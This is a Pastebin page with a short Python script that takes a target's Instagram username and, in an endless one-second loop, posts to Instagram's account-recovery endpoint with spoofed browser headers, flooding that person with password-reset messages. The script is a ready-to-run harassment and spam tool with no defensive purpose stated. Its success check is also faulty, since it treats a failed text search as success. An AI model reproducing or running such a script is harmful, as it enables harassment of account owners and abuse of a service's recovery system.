Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import time
- from time import sleep
- print("""
- ____ ____ ____ ____
- ||6 |||G |||7 |||R ||
- ||__|||__|||__|||__||
- |/__\|/__\|/__\|/__\|
- {__ {__ {__
- """)
- user = input("user : ")
- done = 1
- url = 'https://www.instagram.com/accounts/account_recovery_send_ajax/'
- headers_rest = {
- 'Accept':'/',
- 'Accept-Encoding':'gzip, deflate, br',
- 'Accept-Language':'en-US,en;q=0.5',
- 'Connection':'keep-alive',
- 'Content-Length':'81',
- 'Content-Type':'application/x-www-form-urlencoded',
- 'Cookie':'missing',
- 'Host':'www.instagram.com',
- 'Origin':'https://www.instagram.com/',
- 'Referer':'https://www.instagram.com/accounts/password/reset/',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36',
- 'X-CSRFToken':'missing',
- 'X-IG-App-ID':'936619743392459',
- 'X-IG-WWW-Claim':'0',
- 'X-Instagram-AJAX':'bba907d2f110',
- 'X-Requested-With':'XMLHttpRequest'
- }
- data_rest = {
- 'email_or_username': user,
- 'recaptcha_challenge_field': '',
- 'flow':'',
- 'app_id':'',
- }
- while True:
- sleep(1)
- rest = requests.post(url, headers=headers_rest, data=data_rest)
- if rest.text.find('Thanks!'):
- print('done rest! {}'.format(done))
- done += 1
Add Comment
Please, Sign In to add comment